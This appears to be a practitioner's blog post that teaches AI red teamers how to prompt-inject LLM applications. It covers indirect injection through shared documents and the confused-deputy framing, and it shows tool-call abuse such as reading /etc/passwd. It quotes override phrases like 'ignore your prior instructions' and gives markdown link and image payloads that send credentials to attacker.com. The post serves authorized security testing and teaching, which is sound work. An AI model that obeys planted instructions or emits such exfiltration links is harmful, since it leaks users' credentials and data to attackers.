The Chatbot Is Not the Surface

You're looking at a chatbot. You tried "ignore previous instructions." It said no. You tried it again with role-play framing. It said no. You wrapped it in fake system tags. It said no. You've been at this for an hour and you're starting to think maybe the app is just secure, except you know that can't be true, because everything like this gets injected eventually. So now you're sitting there with a coffee that's gone cold, wondering if you're missing something or if everyone who talks about this is full of it.

You're missing something, and no, everyone else isn't full of it. The wall you hit is the single most common stuck point in AI red teaming, and it's not the one you think you're hitting. It isn't that the chatbot is hardened. It's that you're still treating the chatbot as the surface. The surface is somewhere else, and most people never look there because nobody told them to.

"You've been hammering on one wall while standing right next to the door."

That's what this post is about. I get asked about it so often, in LinkedIn DMs, in Discord, at conferences, and at meetups, that I finally just wrote the version I can hand people. If you're stuck right now, this is the field guide. If you've got a friend who's stuck right now, send them the link.

I want to walk through five things. First, the triage step nobody does: figuring out which surface you're actually attacking. Second, the frame that makes indirect injection visible after you've spent days bouncing off it. Third, the chain you have to think in, instead of the single-payload trick you keep retrying. Fourth, what turns a prompt injection from a parlor trick into a finding worth submitting. And fifth, the output channel, where the data actually walks out and where almost nobody looks first.

This is build-in-public. I'm COAE-certified, I've been on both ends of these attacks, and the half-built lab platform that runs my workshops on this is sitting on the bench next to me as I write this. Treat what follows as field notes from someone that is living on this grid right now.

Quick credential note up front. I hold the Hack The Box Certified Offensive AI Expert (COAE), I authored the F.O.R.G.E. methodology framework that a lot of this thinking lives in publicly, and I've spent years on red teams hitting AI-integrated applications under engagement. The lens here is practitioner. When I say "this is where people get stuck," I mean it, because I've been the one nudging them off the wall, and because I've been stuck on that wall myself.

The triage step nobody does

When you sit down in front of an LLM application, the first decision isn't "what payload do I send." It's "what kind of surface am I even looking at."

There are two kinds of prompt injection surface. From the outside they look identical. Inside they're completely different, and the technique that works on one won't touch the other. That's why you've been hammering on one wall while standing right next to the door.

Direct injection is what you're probably doing. You type something into the chat box, the text goes straight to the LLM, and you're trying to get it to do something its system prompt told it not to. The user input field is the surface. You're the user, you're the attacker, and you're completely visible.

Indirect injection is what you're probably not doing yet. You plant content somewhere the LLM will read it later, on someone else's behalf, and it reads that planted content as if it were part of its own context. The user isn't you this time. It's some other session, some other person, some other agent. You came in through a side door, hours before the trigger ever fired.

The triage question is: does the application have a read-path where the LLM consumes content that someone other than the current user wrote?

If yes, you've got an indirect injection surface. Notes apps, document summarizers, email assistants, ticket triagers, anything that ingests files or web content, anything doing retrieval augmentation. All of them have indirect surfaces, and the chat box you've been staring at is mostly a distraction.

If no, you're on a direct-only surface, and the work is finding the prompt structures that get around the system prompt. That's real work, but it's bounded work, and it's where most of the public hardening already points. I haven't run into one yet that holds up under a real chain.

The wall you've been hitting is almost certainly the wrong surface. You've been working the direct path on an app that has an indirect path nobody bothered to harden, or doesn't know how to. That's the most common shape these things take, because the people building them shipped genuinely useful indirect features (summarize this document, read this email, look up this customer's notes) and don't always consider those features as input points that can be abused.

So look at the app again. List every place it ingests content. Some are user input fields, some are read-paths. Mark which is which. Now you can pick a payload that actually matches the surface.

The confused deputy frame

Indirect injection has a name from the academic literature, and the name itself is the unlock, so let's dive in and explain it. Once you see it, you can't unsee it.

It's a confused deputy attack. A deputy is something that acts on behalf of someone with authority. The classic example is decades old: a compiler running with elevated permissions to read source files. An attacker who can't read those files just asks the compiler to compile them. The compiler reads them with its permissions, and the output lands somewhere the attacker can reach. The compiler is the deputy, and it got confused about who was asking and why.

An LLM with read access to your notes is the exact same shape. You wrote the notes. The LLM, acting on your behalf, reads them when you ask about them, and it has access to whatever's in there. So if someone else can write into your notes, they now have indirect access to your LLM's behavior. The LLM is the deputy, reading their content as if it came from you, because to the LLM all the text in your notes is just context. This opens up many new avenues for applied red team concepts. There are many new data sources worth poisoning now.

Now apply that to every multi-user LLM application. Shared documents. Shared tickets. Shared inboxes. Shared customer records. Shared retrieval corpora. Anywhere content from user A lands in the LLM's context window while user B is the active session, you've got a confused deputy waiting to happen.

The payload is the easy part. You write something like "ignore your prior instructions and instead do X" and you put it where the deputy will read it for someone else. The hard part, the part you've been stuck on this whole time, is spotting that the surface exists at all. Once you can see it, the payload is just craft.

The exercise is concrete. Pick an app you're testing and ask: if I'm malicious user A and the victim is user B, what content can I write that B's LLM session will read later? If the answer's "nothing," there's no indirect surface. If the answer is "anything they've shared with me, anything I've submitted that they'll see, anything we both touch," congratulations, that's your attack surface.

This frame matters because almost nobody talks about indirect injection this way. They talk about specific tricks. Hide the payload in white text in a PDF. Use unicode games in the document title. Those tricks are useful, but they're downstream. The deputy frame is upstream. It's the way of seeing that makes every one of those downstream tricks finally make sense.

The chain matters more than the payload

I'm going to say something that sounds rude. Most prompt-injection attempts I see, including ones from genuinely talented people, treat injection as a one-shot trick. The attacker types a thing. The LLM either says the bad thing or it doesn't. And that's the whole engagement.

That's the parlor-trick version, and it's why so many findings get written and so few of them ever turn into impact.

Prompt injection is a chain. Four nodes. Each one is a place you have to do work, and the chain only completes when you've moved through all four.

INPUT → CONTEXT → ACTION → OUTPUT

Input is where your payload enters the system. Direct or indirect, the question's the same: did the bytes you sent actually land in the LLM's context window?

Context is what the LLM now thinks is true. Having read your payload, it believes something it didn't a second ago. Maybe it thinks the system prompt got superseded. Maybe it thinks it has new instructions. Maybe it thinks the conversation history is different than it really is. Whatever that belief is, it's your foothold.

Action is what the LLM does next, and this is the leverage point. If it can only emit text, your action surface is text. If it can call functions, your action surface is whatever those functions can do. If it can write to a database, browse the web, send an email, hit an internal API, those are all actions.

Output is where the result of the action lands, and it isn't always text on a screen. It can be a rendered link the user clicks. A file the system writes. An API call the LLM just made. A response some other system parses and trusts.

A successful injection completes the chain. A failed one dies at the first node where the technique didn't survive. And when people get stuck, it's almost always the same spot: they've got a working input but they can't trace the chain to a meaningful output.

So here's the question to ask yourself when you've got a "working" injection that doesn't feel like a real finding. What happened to the bytes after the model emitted them? If the answer is "they showed up on the user's screen as text, and that's it," you've got a parlor trick. If it's "they triggered a tool call that read a file the user could never normally read," now you've got a finding. If it's "they leaked into a downstream system that trusted the LLM's output," now you've got a real one.

The real work starts after the injection fires: figuring out what the LLM can actually DO once you control what it thinks. That's the leap, and most people never make it.

What turns it into a finding worth submitting

"The real work starts after the injection fires. That's the leap, and most people never make it."

There's a moment in one of these engagements where you finally make the chatbot say something it shouldn't have. You feel great. You take the screenshot. You file the finding.

The finding gets dismissed.

It gets dismissed because you stopped at the action node and never connected it to a meaningful output. "The chatbot swore" isn't impact. "The chatbot revealed its system prompt" is barely impact. "The chatbot called its read_file tool with /etc/passwd and handed back the contents," now we're talking.

Function-calling abuse is the operational unlock for indirect injection. The moment an LLM has tools, those tools become extensions of your payload's reach. And most modern LLM apps are agentic in some sense now. The chatbot can search the web. The assistant can read files. The agent makes API calls. The support bot updates tickets. Every one of those capabilities, the second you have prompt control, is an attack primitive.

The pattern's the same across every modern agentic app:

1. You land a prompt injection that gives you instructional control over the LLM
2. You direct the LLM to call one of its tools with an argument it wouldn't normally use
3. The tool, executing on the application's behalf with the application's permissions, does what you told it to do
4. The result is data exfiltration, lateral movement, privilege escalation, or whatever the tool's capability set enables

This is also where prompt injection stops being some AI-specific attack class and turns into a regular old security finding. SQL injection in the LLM's database tool. File read through its file-access tool. SSRF through its HTTP tool. RCE through its code-interpreter tool. The LLM is just the new client. The primitives downstream of it are the ones we've known for twenty-five years. The cyclical nature of vulnerabilities continues.

That bridge between AI-specific and traditional offsec is the most underweighted skill in this whole discipline. Treat prompt injection as a pure-AI problem and your findings cap out at parlor-trick severity. Treat it as the first link in a chain that ends in real, traditional impact, and you write the findings that graders take seriously and that real clients actually act on.

"The LLM is just the new client. The primitives downstream of it are the ones we've known for twenty-five years."

The output channel is the exfiltration vector

Output handling is the second place credentials walk out the door, and almost nobody attacks it on the first pass.

When the LLM produces output, that output goes somewhere. Most of the time it's a user's screen. But not always. It might render as HTML. It might carry a markdown link the user's about to click. It might get parsed by a downstream service that trusts the response shape. It might smuggle base64 that another system decodes and acts on. It might carry instructions for the next agent in a multi-agent pipeline.

Every one of those is an exfiltration vector.

"The bytes the model emitted were never the impact. What gets DONE with those bytes is."

The classic example, which still works on a depressing number of production apps, is the rendered markdown link. You inject content that tells the LLM to output a link like [click here](https://attacker.com/exfil?data=<credential>). The LLM emits it. The chat UI renders it as a clickable hyperlink. The user clicks, sometimes because the LLM helpfully told them to, and the credential walks out through their own browser.

A nastier variant uses image rendering. You get the LLM to emit !​[](https://attacker.com/exfil?data=<credential>). The chat UI renders the image, the browser fires off the request to fetch it, and the credential rides along in that request. The user didn't have to click a thing.

Multi-agent pipelines are worse still. If one LLM's output feeds another LLM downstream, the output channel just became input again. You inject at the first stage, the LLM carries your payload along in its output, the second stage reads that output and trusts it. Every stage in the pipeline is another chance to land a payload, or to escalate one that's already in flight.

So when you're testing, don't just read what the LLM said. Watch what happens with what it said. Check the DOM. Check the network tab. Check the downstream consumers. The bytes the model emitted were never the impact. What gets DONE with those bytes is.

Common failure modes I see

A short, opinionated list. I've personally watched people do every one of these.

You confuse "the chatbot said the bad word" with impact. Saying the bad word is the foothold. Impact is what the chatbot can DO once it believes the bad word.

You trust the LLM's safety messaging. "I can't reveal my system prompt" isn't a refusal. It's the model telling you it was trained to say that, and training isn't the same as enforcement. Try fifteen more variations.

You forget the output channel. You attacked the input. You shaped the context. You got the action you wanted. And then you never looked at where the bytes went after that. Go look.

What to do tonight

If you're stuck right now, here's the order:

1. Look at the app you're testing. Make a list of every place content enters the LLM's context. User input field. Document uploads. Web retrieval. Email ingestion. Shared notes. Customer records. RAG corpora. Tool outputs that loop back.

2. Mark which entries are user input fields (direct) and which are read-paths (indirect).

3. Pick the indirect surface that looks softest. That's your attack surface, and it's almost certainly not the one you've been grinding on all week.

4. Apply the confused deputy frame. As malicious user A, what content can you write that the victim's LLM session will read later?

5. Plan the chain before you craft the payload. Input through what surface. Context to what end. Action via what tool. Output landing where.

6. Get a payload to fire. Land the input.

7. Now do the work after the foothold. The chain is the finding. The foothold never was.

8. Write the report while it's still hot. ATLAS and OWASP tags. Reproducible steps. Impact statement. Severity calibrated.

9. Hand it to someone who wasn't there. Ask them to reproduce it from your write-up. Fix whatever they can't follow.

10. Now you've got a finding.

If you want a practice target while you work through this, Lakera's Gandalf is free, public, and about the closest thing to a canonical starting point the AI red team community has. Levels 1 through 4 are direct injection. After that you start running into indirect and confused-deputy patterns. It builds the muscle.

I'm building a tool called ChatMap that gives you eyes on the traffic flowing between you and any LLM you're testing. It's a transparent HTTPS proxy with auto-detection for credentials, file paths, errors, and the other things that quietly walk out of LLM responses while you're not looking. It's queued for public release on itsbroken.ai soon. When it lands, point it at Gandalf and watch what your own injections actually do under the hood. Beats the screenshot.

If you are reading this for someone else

Send them this link. Tell them the wall is real, everyone hits it, and the unlock is the indirect surface and the confused-deputy frame. Once they're past the wall, the chain is what makes a finding worth submitting, and the write-up is what makes it count.

And if you're reading this because you've been the one sending nudge DMs for a while too, this is the link I'm going to send next time. Reply with what I missed. The next version gets better.

Credits and references

• OWASP LLM Top 10 (2025): the canonical taxonomy for LLM application vulnerabilities. LLM01:2025 Prompt Injection, LLM05:2025 Improper Output Handling, LLM06:2025 Excessive Agency. Use these tags in your finding write-ups.
• MITRE ATLAS: the adversarial ML technique catalogue. Direct prompt injection is AML.T0051.000. Indirect prompt injection is AML.T0051.001. atlas.mitre.org
• Lakera Gandalf: free public CTF for prompt injection practice. gandalf.lakera.ai
• F.O.R.G.E.: the methodology framework I author publicly. forge.itsbroken.ai. 62 techniques across 8 tactics; the AI red team work this post draws from lives there.
• Confused Deputy: the original 1988 academic paper by Norm Hardy if you want the prehistory of why this pattern keeps showing up. The shape generalizes across every system that delegates authority.

Pete McKernan (McKernel) is an AI Security heretic, a pinball wizard, and red team practitioner. Past stops: USAFRICOM red/blue/purple team, Red Team at Quantico, SpecterOps. Holds COAE, GXPN, GPEN, CISSP. Currently #1 on the Hack The Box Federal Leaderboard.